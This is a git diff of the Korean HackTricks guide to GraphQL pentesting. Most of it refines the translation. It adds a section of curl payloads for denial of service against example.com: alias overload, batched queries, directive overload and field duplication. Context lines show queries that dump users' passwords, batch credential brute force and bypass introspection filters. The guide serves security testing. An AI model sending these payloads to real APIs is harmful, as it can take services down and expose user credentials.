diff --git a/network-services-pentesting/pentesting-web/graphql.md b/network-services-pentesting/pentesting-web/graphql.md index b58800e9b..650080bc5 100644 --- a/network-services-pentesting/pentesting-web/graphql.md +++ b/network-services-pentesting/pentesting-web/graphql.md @@ -1,8 +1,8 @@ # GraphQL {% hint style="success" %} -Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
@@ -82,10 +82,10 @@ query={__schema{types{name,fields{name,args{name,description,type{name,kind,ofTy ``` ![](<../../.gitbook/assets/image (416).png>) -**인트로스펙션을 통한 데이터베이스 스키마 열거** +**인스펙션을 통한 데이터베이스 스키마 열거** {% hint style="info" %} -인트로스펙션이 활성화되어 있지만 위 쿼리가 실행되지 않는 경우, 쿼리 구조에서 `onOperation`, `onFragment`, 및 `onField` 지시어를 제거해 보십시오. +인스펙션이 활성화되어 있지만 위 쿼리가 실행되지 않는 경우, 쿼리 구조에서 `onOperation`, `onFragment`, 및 `onField` 지시어를 제거해 보십시오. {% endhint %} ```bash #Full introspection query @@ -190,7 +190,7 @@ name 이제 데이터베이스에 어떤 종류의 정보가 저장되어 있는지 알았으니, **값을 추출해 보겠습니다**. -인트로스펙션에서 **직접 쿼리할 수 있는 객체**를 찾을 수 있습니다 (객체가 존재한다고 해서 쿼리할 수 있는 것은 아닙니다). 다음 이미지에서 "_queryType_"이 "_Query_"라고 불리며, "_Query_" 객체의 필드 중 하나가 "_flags_"라는 것을 볼 수 있습니다. 이 또한 객체의 유형입니다. 따라서 플래그 객체를 쿼리할 수 있습니다. +인트로스펙션에서 **직접 쿼리할 수 있는 객체**를 찾을 수 있습니다 (객체가 존재한다고 해서 쿼리할 수 있는 것은 아닙니다). 다음 이미지에서 "_queryType_"이 "_Query_"라고 불리며, "_Query_" 객체의 필드 중 하나가 "_flags_"라는 것을 볼 수 있습니다. 이는 또한 객체 유형입니다. 따라서 플래그 객체를 쿼리할 수 있습니다. ![](<../../.gitbook/assets/Screenshot from 2021-03-13 18-17-48.png>) @@ -210,12 +210,12 @@ query={flags{name, value}} ```javascript query={hiddenFlags} ``` -다른 예에서 "_Query_" 타입 객체 안에 두 개의 객체가 있었습니다: "_user_"와 "_users_".\ -이 객체들이 검색을 위해 어떤 인수도 필요하지 않다면, 원하는 데이터를 **요청**하기만 하면 **모든 정보를 가져올 수 있습니다**. 이 인터넷의 예에서 저장된 사용자 이름과 비밀번호를 추출할 수 있습니다: +다른 예시에서는 "_Query_" 타입 객체 안에 두 개의 객체가 있었습니다: "_user_"와 "_users_".\ +이 객체들이 검색을 위해 어떤 인수도 필요하지 않다면, 원하는 데이터를 **요청**하기만 하면 **모든 정보를 가져올 수 있습니다**. 이 인터넷 예시에서는 저장된 사용자 이름과 비밀번호를 추출할 수 있습니다: ![](<../../.gitbook/assets/image (880).png>) -하지만 이 예에서 그렇게 시도하면 다음과 같은 **오류**가 발생합니다: +하지만 이 예시에서 그렇게 시도하면 다음과 같은 **오류**가 발생합니다: ![](<../../.gitbook/assets/image (1042).png>) @@ -224,20 +224,20 @@ query={hiddenFlags} 제가 그 쿼리를 실행했을 때 제공된 이미지를 읽어보면 "_**user**_"가 타입 _Int_의 **arg** "_**uid**_"를 가지고 있음을 알 수 있습니다. -그래서 약간의 _**uid**_ 브루트포스를 수행한 결과, _**uid**=**1**_에서 사용자 이름과 비밀번호가 검색되었습니다:\ +그래서 약간의 _**uid**_ 브루트포스를 수행한 결과, _**uid**=**1**_에서 사용자 이름과 비밀번호를 검색할 수 있었습니다:\ `query={user(uid:1){user,password}}` ![](<../../.gitbook/assets/image (90).png>) -나는 **매개변수** "_**user**_"와 "_**password**_"를 요청할 수 있다는 것을 **발견**했습니다. 왜냐하면 존재하지 않는 것을 찾으려고 하면 (`query={user(uid:1){noExists}}`) 다음과 같은 오류가 발생하기 때문입니다: +저는 **매개변수** "_**user**_"와 "_**password**_"를 요청할 수 있다는 것을 **발견**했습니다. 왜냐하면 존재하지 않는 것을 찾으려고 시도하면 (`query={user(uid:1){noExists}}`) 다음과 같은 오류가 발생하기 때문입니다: ![](<../../.gitbook/assets/image (707).png>) -그리고 **열거 단계**에서 "_**dbuser**_" 객체가 "_**user**_"와 "_**password**_" 필드를 가지고 있음을 발견했습니다. +그리고 **열거 단계**에서 "_**dbuser**_" 객체가 "_**user**_"와 "_**password**_" 필드를 가지고 있다는 것을 발견했습니다. **쿼리 문자열 덤프 트릭 (thanks to @BinaryShadow\_)** -문자열 타입으로 검색할 수 있다면, 예를 들어: `query={theusers(description: ""){username,password}}`와 같이 **빈 문자열**을 **검색**하면 **모든 데이터가 덤프됩니다**. (_이 예는 튜토리얼의 예와 관련이 없으므로, 이 예에서는 "**description**"이라는 문자열 필드를 사용하여 "**theusers**"로 검색할 수 있다고 가정합니다_). +문자열 타입으로 검색할 수 있다면, 예를 들어: `query={theusers(description: ""){username,password}}`와 같이 **빈 문자열**을 **검색**하면 **모든 데이터가 덤프됩니다**. (_이 예시는 튜토리얼의 예시와 관련이 없으며, 이 예시에서는 "**theusers**"를 "**description**"이라는 문자열 필드로 검색할 수 있다고 가정합니다_). ### 검색 @@ -352,12 +352,12 @@ releaseYear ``` ### Directive Overloading -이 보고서에 설명된 [**취약점 중 하나**](https://www.landh.tech/blog/20240304-google-hack-50000/)에 설명된 바와 같이, directive overloading은 서버가 DoS 공격을 받을 수 있을 때까지 수백만 번의 directive 호출을 통해 서버의 작업을 낭비하게 만드는 것을 의미합니다. +이 보고서에 설명된 [**취약점 중 하나**](https://www.landh.tech/blog/20240304-google-hack-50000/)에서 설명한 바와 같이, directive overloading은 서버가 DoS 공격을 받을 수 있을 때까지 수백만 번의 directive 호출을 통해 서버의 작업을 낭비하게 만드는 것을 의미합니다. ### Batching brute-force in 1 API request 이 정보는 [https://lab.wallarm.com/graphql-batching-attack/](https://lab.wallarm.com/graphql-batching-attack/)에서 가져왔습니다.\ -GraphQL API를 통해 **다양한 자격 증명을 가진 많은 쿼리를 동시에 전송하여 인증을 확인**합니다. 이는 고전적인 brute force 공격이지만, 이제 GraphQL batching 기능 덕분에 HTTP 요청당 하나 이상의 로그인/비밀번호 쌍을 보낼 수 있습니다. 이 접근 방식은 외부 속도 모니터링 애플리케이션을 속여 모든 것이 잘 되고 있으며 비밀번호를 추측하려는 brute-forcing 봇이 없다고 생각하게 만듭니다. +GraphQL API를 통해 **다양한 자격 증명을 가진 많은 쿼리를 동시에 전송하여 인증을 확인**합니다. 이는 고전적인 brute force 공격이지만, 이제 GraphQL batching 기능 덕분에 HTTP 요청당 하나 이상의 로그인/비밀번호 쌍을 보낼 수 있습니다. 이 접근 방식은 외부 속도 모니터링 애플리케이션을 속여 모든 것이 잘되고 있으며 비밀번호를 추측하려는 brute-forcing 봇이 없다고 생각하게 만듭니다. 아래는 **한 번에 3개의 서로 다른 이메일/비밀번호 쌍**을 가진 애플리케이션 인증 요청의 가장 간단한 시연입니다. 분명히 같은 방식으로 단일 요청에서 수천 개를 보낼 수 있습니다: @@ -371,13 +371,13 @@ GraphQL API를 통해 **다양한 자격 증명을 가진 많은 쿼리를 동 점점 더 많은 **graphql 엔드포인트가 introspection을 비활성화**하고 있습니다. 그러나 예상치 못한 요청이 수신될 때 graphql이 발생시키는 오류는 [**clairvoyance**](https://github.com/nikitastupin/clairvoyance)와 같은 도구가 스키마의 대부분을 재구성하는 데 충분합니다. -게다가, Burp Suite 확장 프로그램 [**GraphQuail**](https://github.com/forcesunseen/graphquail) 확장 프로그램은 **Burp를 통해 전송되는 GraphQL API 요청을 관찰하고** **각 새로운 쿼리를 통해 내부 GraphQL **스키마**를 구축**합니다. 또한 GraphiQL 및 Voyager를 위한 스키마를 노출할 수 있습니다. 이 확장 프로그램은 introspection 쿼리를 수신할 때 가짜 응답을 반환합니다. 결과적으로 GraphQuail은 API 내에서 사용할 수 있는 모든 쿼리, 인수 및 필드를 보여줍니다. 자세한 내용은 [**여기**](https://blog.forcesunseen.com/graphql-security-testing-without-a-schema)를 확인하세요. +게다가, Burp Suite 확장 프로그램 [**GraphQuail**](https://github.com/forcesunseen/graphquail) 확장 프로그램은 **Burp를 통해 GraphQL API 요청을 관찰하고** **각 새로운 쿼리를 통해** 내부 GraphQL **스키마**를 구축합니다. 또한 GraphiQL 및 Voyager를 위한 스키마를 노출할 수 있습니다. 이 확장 프로그램은 introspection 쿼리를 수신할 때 가짜 응답을 반환합니다. 결과적으로 GraphQuail은 API 내에서 사용할 수 있는 모든 쿼리, 인수 및 필드를 보여줍니다. 자세한 내용은 [**여기**](https://blog.forcesunseen.com/graphql-security-testing-without-a-schema)를 확인하세요. 멋진 **단어 목록**을 통해 [**GraphQL 엔티티를 발견할 수 있습니다**](https://github.com/Escape-Technologies/graphql-wordlist?). ### Bypassing GraphQL introspection defences -API에서 introspection 쿼리에 대한 제한을 우회하기 위해, `__schema` 키워드 뒤에 **특수 문자를 삽입하는** 것이 효과적입니다. 이 방법은 introspection을 차단하기 위해 `__schema` 키워드에 초점을 맞춘 정규 표현식 패턴에서 일반적인 개발자의 실수를 이용합니다. GraphQL이 무시하지만 정규 표현식에서는 고려되지 않을 수 있는 **공백, 줄 바꿈 및 쉼표**와 같은 문자를 추가함으로써 제한을 우회할 수 있습니다. 예를 들어, `__schema` 뒤에 줄 바꿈이 있는 introspection 쿼리는 이러한 방어를 우회할 수 있습니다: +API에서 introspection 쿼리에 대한 제한을 우회하기 위해, **`__schema` 키워드 뒤에 특수 문자를 삽입하는** 것이 효과적입니다. 이 방법은 introspection을 차단하려는 regex 패턴에서 일반적인 개발자의 실수를 이용하여 `__schema` 키워드에 집중합니다. GraphQL이 무시하지만 regex에서는 고려되지 않을 수 있는 **공백, 줄 바꿈 및 쉼표**와 같은 문자를 추가함으로써 제한을 우회할 수 있습니다. 예를 들어, `__schema` 뒤에 줄 바꿈이 있는 introspection 쿼리는 이러한 방어를 우회할 수 있습니다: ```bash # Example with newline to bypass { @@ -415,7 +415,7 @@ ws.send(JSON.stringify(graphqlMsg)); ``` ### **노출된 GraphQL 구조 발견하기** -인스펙션이 비활성화된 경우, JavaScript 라이브러리에서 미리 로드된 쿼리를 찾기 위해 웹사이트의 소스 코드를 검사하는 것은 유용한 전략입니다. 이러한 쿼리는 개발자 도구의 `Sources` 탭을 사용하여 찾을 수 있으며, API의 스키마에 대한 통찰력을 제공하고 잠재적으로 **노출된 민감한 쿼리**를 드러냅니다. 개발자 도구 내에서 검색하는 명령은 다음과 같습니다: +인트로스펙션이 비활성화된 경우, JavaScript 라이브러리에서 미리 로드된 쿼리를 찾기 위해 웹사이트의 소스 코드를 검사하는 것은 유용한 전략입니다. 이러한 쿼리는 개발자 도구의 `Sources` 탭을 사용하여 찾을 수 있으며, API의 스키마에 대한 통찰력을 제공하고 잠재적으로 **노출된 민감한 쿼리**를 드러냅니다. 개발자 도구 내에서 검색하는 명령은 다음과 같습니다: ```javascript Inspect/Sources/"Search all files" file:* mutation @@ -431,15 +431,15 @@ CSRF가 무엇인지 모른다면 다음 페이지를 읽어보세요: 여기에는 **CSRF 토큰 없이 구성된** 여러 GraphQL 엔드포인트를 찾을 수 있습니다. -GraphQL 요청은 일반적으로 Content-Type **`application/json`**을 사용하여 POST 요청을 통해 전송된다는 점에 유의하세요. +GraphQL 요청은 일반적으로 Content-Type **`application/json`**을 사용하여 POST 요청을 통해 전송됩니다. ```javascript {"operationName":null,"variables":{},"query":"{\n user {\n firstName\n __typename\n }\n}\n"} ``` -그러나 대부분의 GraphQL 엔드포인트는 **`form-urlencoded` POST 요청**도 지원합니다: +그러나 대부분의 GraphQL 엔드포인트는 **`form-urlencoded` POST 요청도 지원합니다:** ```javascript query=%7B%0A++user+%7B%0A++++firstName%0A++++__typename%0A++%7D%0A%7D%0A ``` -따라서 이전과 같은 CSRF 요청이 **preflight 요청 없이** 전송되기 때문에, CSRF를 악용하여 GraphQL에서 **변경**을 **수행**할 수 있습니다. +따라서 이전과 같은 CSRF 요청이 **사전 비행 요청 없이** 전송되기 때문에, CSRF를 악용하여 GraphQL에서 **변경**을 **수행**할 수 있습니다. 그러나 Chrome의 `samesite` 플래그의 새로운 기본 쿠키 값은 `Lax`라는 점에 유의하십시오. 이는 쿠키가 GET 요청에서만 제3자 웹에서 전송된다는 것을 의미합니다. @@ -447,11 +447,11 @@ query=%7B%0A++user+%7B%0A++++firstName%0A++++__typename%0A++%7D%0A%7D%0A 또한, [**XS-Search**](../../pentesting-web/xs-search/) **공격**을 악용하여 사용자의 자격 증명을 이용해 GraphQL 엔드포인트에서 콘텐츠를 유출할 수 있습니다. -자세한 내용은 [**여기에서 원본 게시물 확인**](https://blog.doyensec.com/2021/05/20/graphql-csrf.html). +자세한 내용은 **여기에서 원본 게시물을 확인하십시오** [**original post here**](https://blog.doyensec.com/2021/05/20/graphql-csrf.html). ## GraphQL에서의 교차 사이트 WebSocket 하이재킹 -GraphQL을 악용하는 CRSF 취약점과 유사하게, **보호되지 않은 쿠키로 GraphQL 인증을 악용하기 위한 교차 사이트 WebSocket 하이재킹을 수행**할 수 있으며, 사용자가 GraphQL에서 예상치 못한 작업을 수행하게 만들 수 있습니다. +GraphQL을 악용하는 CRSF 취약점과 유사하게, **보호되지 않은 쿠키로 GraphQL 인증을 악용하기 위한 교차 사이트 WebSocket 하이재킹을 수행하고 사용자가 GraphQL에서 예상치 못한 작업을 수행하게 할 수 있습니다.** 자세한 내용은 확인하십시오: @@ -463,9 +463,9 @@ GraphQL을 악용하는 CRSF 취약점과 유사하게, **보호되지 않은 엔드포인트에 정의된 많은 GraphQL 기능은 요청자의 인증만 확인하고 권한 부여는 확인하지 않을 수 있습니다. -쿼리 입력 변수를 수정하면 민감한 계정 세부 정보가 [leaked](https://hackerone.com/reports/792927)될 수 있습니다. +쿼리 입력 변수를 수정하면 민감한 계정 세부 정보가 [유출](https://hackerone.com/reports/792927)될 수 있습니다. -변형은 다른 계정 데이터를 수정하려고 시도할 때 계정 탈취로 이어질 수 있습니다. +변경은 다른 계정 데이터를 수정하려고 시도할 때 계정 탈취로 이어질 수 있습니다. ```javascript { "operationName":"updateProfile", @@ -477,13 +477,13 @@ GraphQL을 악용하는 CRSF 취약점과 유사하게, **보호되지 않은 [쿼리 연결](https://s1n1st3r.gitbook.io/theb10g/graphql-query-authentication-bypass-vuln)을 통해 약한 인증 시스템을 우회할 수 있습니다. -아래 예제에서 작업은 "forgotPassword"이며, 이는 해당 쿼리만 실행해야 합니다. 그러나 끝에 쿼리를 추가함으로써 우회할 수 있으며, 이 경우 "register"와 시스템이 새로운 사용자로 등록할 수 있도록 사용자 변수를 추가합니다. +아래 예제에서 작업은 "forgotPassword"이며, 이는 해당 작업과 관련된 forgotPassword 쿼리만 실행해야 합니다. 이를 우회하기 위해 끝에 쿼리를 추가할 수 있으며, 이 경우 "register"와 시스템이 새 사용자로 등록할 수 있도록 하는 사용자 변수를 추가합니다.
## GraphQL에서 별칭을 사용한 속도 제한 우회 -GraphQL에서 별칭은 API 요청 시 **속성을 명시적으로 이름 지정**할 수 있는 강력한 기능입니다. 이 기능은 **단일 요청 내에서 동일한 유형**의 객체 여러 인스턴스를 검색하는 데 특히 유용합니다. 별칭은 GraphQL 객체가 동일한 이름의 여러 속성을 가질 수 없도록 하는 제한을 극복하는 데 사용될 수 있습니다. +GraphQL에서 별칭은 API 요청을 할 때 **속성을 명시적으로 이름 지정**할 수 있는 강력한 기능입니다. 이 기능은 단일 요청 내에서 **동일한 유형**의 객체 여러 인스턴스를 검색하는 데 특히 유용합니다. 별칭은 GraphQL 객체가 동일한 이름을 가진 여러 속성을 가질 수 없도록 하는 제한을 극복하는 데 사용될 수 있습니다. GraphQL 별칭에 대한 자세한 이해를 위해 다음 리소스를 추천합니다: [Aliases](https://portswigger.net/web-security/graphql/what-is-graphql#aliases). @@ -504,6 +504,82 @@ valid } } ``` +## GraphQL에서의 DoS + +### 별칭 오버로드 + +**별칭 오버로드**는 공격자가 동일한 필드에 대해 많은 별칭으로 쿼리를 오버로드하여 백엔드 리졸버가 해당 필드를 반복적으로 실행하게 만드는 GraphQL 취약점입니다. 이는 서버 리소스를 압도하여 **서비스 거부(DoS)**를 초래할 수 있습니다. 예를 들어, 아래 쿼리에서 동일한 필드(`expensiveField`)가 별칭을 사용하여 1,000번 요청되어 백엔드가 이를 1,000번 계산하게 하여 CPU나 메모리를 소진시킬 수 있습니다: + +{% code overflow="wrap" %} +```graphql +# Test provided by https://github.com/dolevf/graphql-cop +curl -X POST -H "Content-Type: application/json" \ +-d '{"query": "{ alias0:__typename \nalias1:__typename \nalias2:__typename \nalias3:__typename \nalias4:__typename \nalias5:__typename \nalias6:__typename \nalias7:__typename \nalias8:__typename \nalias9:__typename \nalias10:__typename \nalias11:__typename \nalias12:__typename \nalias13:__typename \nalias14:__typename \nalias15:__typename \nalias16:__typename \nalias17:__typename \nalias18:__typename \nalias19:__typename \nalias20:__typename \nalias21:__typename \nalias22:__typename \nalias23:__typename \nalias24:__typename \nalias25:__typename \nalias26:__typename \nalias27:__typename \nalias28:__typename \nalias29:__typename \nalias30:__typename \nalias31:__typename \nalias32:__typename \nalias33:__typename \nalias34:__typename \nalias35:__typename \nalias36:__typename \nalias37:__typename \nalias38:__typename \nalias39:__typename \nalias40:__typename \nalias41:__typename \nalias42:__typename \nalias43:__typename \nalias44:__typename \nalias45:__typename \nalias46:__typename \nalias47:__typename \nalias48:__typename \nalias49:__typename \nalias50:__typename \nalias51:__typename \nalias52:__typename \nalias53:__typename \nalias54:__typename \nalias55:__typename \nalias56:__typename \nalias57:__typename \nalias58:__typename \nalias59:__typename \nalias60:__typename \nalias61:__typename \nalias62:__typename \nalias63:__typename \nalias64:__typename \nalias65:__typename \nalias66:__typename \nalias67:__typename \nalias68:__typename \nalias69:__typename \nalias70:__typename \nalias71:__typename \nalias72:__typename \nalias73:__typename \nalias74:__typename \nalias75:__typename \nalias76:__typename \nalias77:__typename \nalias78:__typename \nalias79:__typename \nalias80:__typename \nalias81:__typename \nalias82:__typename \nalias83:__typename \nalias84:__typename \nalias85:__typename \nalias86:__typename \nalias87:__typename \nalias88:__typename \nalias89:__typename \nalias90:__typename \nalias91:__typename \nalias92:__typename \nalias93:__typename \nalias94:__typename \nalias95:__typename \nalias96:__typename \nalias97:__typename \nalias98:__typename \nalias99:__typename \nalias100:__typename \n }"}' \ +'https://example.com/graphql' +``` +{% endcode %} + +이를 완화하기 위해, 리소스 남용을 방지하기 위해 별칭 수 제한, 쿼리 복잡성 분석 또는 속도 제한을 구현하십시오. + +### **배열 기반 쿼리 배치** + +**배열 기반 쿼리 배치**는 GraphQL API가 단일 요청에서 여러 쿼리를 배치할 수 있도록 허용하는 취약점으로, 공격자가 동시에 많은 수의 쿼리를 보낼 수 있게 합니다. 이는 모든 배치된 쿼리를 병렬로 실행하여 백엔드를 압도할 수 있으며, 과도한 리소스(CPU, 메모리, 데이터베이스 연결)를 소모하고 잠재적으로 **서비스 거부(DoS)**로 이어질 수 있습니다. 배치 내 쿼리 수에 대한 제한이 없다면, 공격자는 이를 악용하여 서비스 가용성을 저하시킬 수 있습니다. + +{% code overflow="wrap" %} +```graphql +# Test provided by https://github.com/dolevf/graphql-cop +curl -X POST -H "User-Agent: graphql-cop/1.13" \ +-H "Content-Type: application/json" \ +-d '[{"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}]' \ +'https://example.com/graphql' +``` +{% endcode %} + +이 예제에서는 10개의 서로 다른 쿼리가 하나의 요청으로 배치되어 서버가 이들을 동시에 실행하도록 강제합니다. 더 큰 배치 크기나 계산 비용이 많이 드는 쿼리로 악용될 경우, 서버가 과부하에 걸릴 수 있습니다. + +### **지시문 과부하 취약점** + +**지시문 과부하**는 GraphQL 서버가 과도하고 중복된 지시문을 포함한 쿼리를 허용할 때 발생합니다. 이는 서버의 파서와 실행기를 압도할 수 있으며, 특히 서버가 동일한 지시문 로직을 반복적으로 처리할 경우 더욱 그렇습니다. 적절한 검증이나 제한이 없으면, 공격자는 수많은 중복 지시문을 포함한 쿼리를 작성하여 높은 계산 또는 메모리 사용을 유발하여 **서비스 거부(DoS)**를 초래할 수 있습니다. + +{% code overflow="wrap" %} +```bash +# Test provided by https://github.com/dolevf/graphql-cop +curl -X POST -H "User-Agent: graphql-cop/1.13" \ +-H "Content-Type: application/json" \ +-d '{"query": "query cop { __typename @aa@aa@aa@aa@aa@aa@aa@aa@aa@aa }", "operationName": "cop"}' \ +'https://example.com/graphql' +``` +{% endcode %} + +이전 예제에서 `@aa`는 **선언되지 않을 수 있는** 사용자 정의 지시어임을 유의하십시오. 일반적으로 존재하는 지시어는 **`@include`**입니다: + +{% code overflow="wrap" %} +```bash +curl -X POST \ +-H "Content-Type: application/json" \ +-d '{"query": "query cop { __typename @include(if: true) @include(if: true) @include(if: true) @include(if: true) @include(if: true) }", "operationName": "cop"}' \ +'https://example.com/graphql' +``` +{% endcode %} + +모든 선언된 지시어를 발견하기 위해 introspection 쿼리를 보낼 수도 있습니다: +```bash +curl -X POST \ +-H "Content-Type: application/json" \ +-d '{"query": "{ __schema { directives { name locations args { name type { name kind ofType { name } } } } } }"}' \ +'https://example.com/graphql' +``` +그리고 **사용자 정의** 항목 중 일부를 사용합니다. + +### **필드 중복 취약점** + +**필드 중복**은 GraphQL 서버가 동일한 필드가 과도하게 반복된 쿼리를 허용하는 취약점입니다. 이로 인해 서버는 각 인스턴스에 대해 필드를 중복으로 해결해야 하며, 이는 상당한 자원(CPU, 메모리 및 데이터베이스 호출)을 소모합니다. 공격자는 수백 또는 수천 개의 반복된 필드가 포함된 쿼리를 작성할 수 있으며, 이는 높은 부하를 초래하고 잠재적으로 **서비스 거부(DoS)**로 이어질 수 있습니다. +```bash +# Test provided by https://github.com/dolevf/graphql-cop +curl -X POST -H "User-Agent: graphql-cop/1.13" -H "Content-Type: application/json" \ +-d '{"query": "query cop { __typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n} ", "operationName": "cop"}' \ +'https://example.com/graphql' +``` ## 도구 ### 취약점 스캐너 @@ -517,7 +593,7 @@ valid * [https://gitlab.com/dee-see/graphql-path-enum](https://gitlab.com/dee-see/graphql-path-enum): **GraphQL 스키마에서 주어진 유형에 도달하는 다양한 방법을 나열하는 도구**. * [https://github.com/doyensec/GQLSpection](https://github.com/doyensec/GQLSpection): InQL의 독립형 및 CLI 모드의 후계자 * [https://github.com/doyensec/inql](https://github.com/doyensec/inql): 고급 GraphQL 테스트를 위한 Burp 확장. _**스캐너**_는 InQL v5.0의 핵심으로, GraphQL 엔드포인트 또는 로컬 introspection 스키마 파일을 분석할 수 있습니다. 모든 가능한 쿼리와 변형을 자동 생성하여 분석을 위한 구조화된 보기로 정리합니다. _**공격자**_ 구성 요소는 배치 GraphQL 공격을 실행할 수 있게 해주며, 이는 잘못 구현된 속도 제한을 우회하는 데 유용할 수 있습니다. -* [https://github.com/nikitastupin/clairvoyance](https://github.com/nikitastupin/clairvoyance): 일부 Graphql 데이터베이스의 도움을 받아 introspection이 비활성화된 경우에도 스키마를 얻으려고 시도합니다. 이 데이터베이스는 변형 및 매개변수의 이름을 제안합니다. +* [https://github.com/nikitastupin/clairvoyance](https://github.com/nikitastupin/clairvoyance): 일부 Graphql 데이터베이스의 도움을 받아 introspection이 비활성화된 상태에서도 스키마를 얻으려고 시도합니다. 이 데이터베이스는 변형 및 매개변수의 이름을 제안합니다. ### 클라이언트 @@ -541,8 +617,8 @@ valid * [**https://portswigger.net/web-security/graphql**](https://portswigger.net/web-security/graphql) {% hint style="success" %} -AWS 해킹 배우기 및 연습하기:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -GCP 해킹 배우기 및 연습하기: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +AWS 해킹 배우기 및 연습하기:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +GCP 해킹 배우기 및 연습하기: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)